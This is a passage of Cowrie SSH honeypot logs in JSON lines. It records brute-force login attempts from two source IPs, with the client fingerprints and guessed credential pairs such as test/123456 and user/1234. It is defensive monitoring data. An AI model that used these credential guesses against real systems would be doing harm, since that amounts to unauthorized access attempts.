sh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:40.142073Z","src_ip":"91.92.42.227","session":"7a9a430802f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60418,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e9bf00eae41","protocol":"ssh","message":"New connection: 45.156.87.147:60418 (10.17.0.5:22) [session: 1e9bf00eae41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:40.783343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:40.788116Z","src_ip":"45.156.87.147","session":"1e9bf00eae41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"crafty","message":"login attempt [crafty/crafty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:40.863699Z","src_ip":"91.92.42.227","session":"7a9a430802f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:40.871529Z","src_ip":"45.156.87.147","session":"1e9bf00eae41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"1234","message":"login attempt [server/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:41.177181Z","src_ip":"45.156.87.147","session":"1e9bf00eae41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:41.985756Z","src_ip":"91.92.42.227","session":"7a9a430802f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:42.263764Z","src_ip":"45.156.87.147","session":"1e9bf00eae41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60422,"dst_ip":"10.17.0.5","dst_port":22,"session":"03bcc14c3145","protocol":"ssh","message":"New connection: 45.156.87.147:60422 (10.17.0.5:22) [session: 03bcc14c3145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:46.337697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:46.342276Z","src_ip":"45.156.87.147","session":"03bcc14c3145","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:46.431386Z","src_ip":"45.156.87.147","session":"03bcc14c3145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:46.689344Z","src_ip":"45.156.87.147","session":"03bcc14c3145","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36584,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be08145ec85","protocol":"ssh","message":"New connection: 91.92.42.227:36584 (10.17.0.5:22) [session: 3be08145ec85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:47.246957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:47.268350Z","src_ip":"91.92.42.227","session":"3be08145ec85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:47.353015Z","src_ip":"91.92.42.227","session":"3be08145ec85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:47.774119Z","src_ip":"45.156.87.147","session":"03bcc14c3145","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:47.790081Z","src_ip":"91.92.42.227","session":"3be08145ec85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:49.144587Z","src_ip":"91.92.42.227","session":"3be08145ec85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58492,"dst_ip":"10.17.0.5","dst_port":22,"session":"a888228e1882","protocol":"ssh","message":"New connection: 45.156.87.147:58492 (10.17.0.5:22) [session: a888228e1882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:52.009489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:52.013479Z","src_ip":"45.156.87.147","session":"a888228e1882","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:52.097749Z","src_ip":"45.156.87.147","session":"a888228e1882","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:52.376589Z","src_ip":"45.156.87.147","session":"a888228e1882","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:53.462451Z","src_ip":"45.156.87.147","session":"a888228e1882","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36656,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ba31db91d54","protocol":"ssh","message":"New connection: 91.92.42.227:36656 (10.17.0.5:22) [session: 2ba31db91d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:54.122976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:54.241044Z","src_ip":"91.92.42.227","session":"2ba31db91d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:54.244505Z","src_ip":"91.92.42.227","session":"2ba31db91d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:54.894936Z","src_ip":"91.92.42.227","session":"2ba31db91d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:55.985916Z","src_ip":"91.92.42.227","session":"2ba31db91d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58498,"dst_ip":"10.17.0.5","dst_port":22,"session":"49d8a375479a","protocol":"ssh","message":"New connection: 45.156.87.147:58498 (10.17.0.5:22) [session: 49d8a375479a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:57.583825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:57.589987Z","src_ip":"45.156.87.147","session":"49d8a375479a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:57.679277Z","src_ip":"45.156.87.147","session":"49d8a375479a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"security","password":"security","message":"login attempt [security/security] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:57.929982Z","src_ip":"45.156.87.147","session":"49d8a375479a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:47:59.020019Z","src_ip":"45.156.87.147","session":"49d8a375479a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44666,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef493fba8d39","protocol":"ssh","message":"New connection: 91.92.42.227:44666 (10.17.0.5:22) [session: ef493fba8d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:00.927411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:01.030127Z","src_ip":"91.92.42.227","session":"ef493fba8d39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:01.033402Z","src_ip":"91.92.42.227","session":"ef493fba8d39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:02.071872Z","src_ip":"91.92.42.227","session":"ef493fba8d39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:03.344500Z","src_ip":"91.92.42.227","session":"ef493fba8d39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37140,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4af319273d1","protocol":"ssh","message":"New connection: 45.156.87.147:37140 (10.17.0.5:22) [session: f4af319273d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:03.354041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:03.360517Z","src_ip":"45.156.87.147","session":"f4af319273d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:03.442943Z","src_ip":"45.156.87.147","session":"f4af319273d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:03.750170Z","src_ip":"45.156.87.147","session":"f4af319273d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:04.838088Z","src_ip":"45.156.87.147","session":"f4af319273d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":37118,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fdcee02cc17","protocol":"ssh","message":"New connection: 91.92.42.227:37118 (10.17.0.5:22) [session: 7fdcee02cc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:48:07.684931Z"}
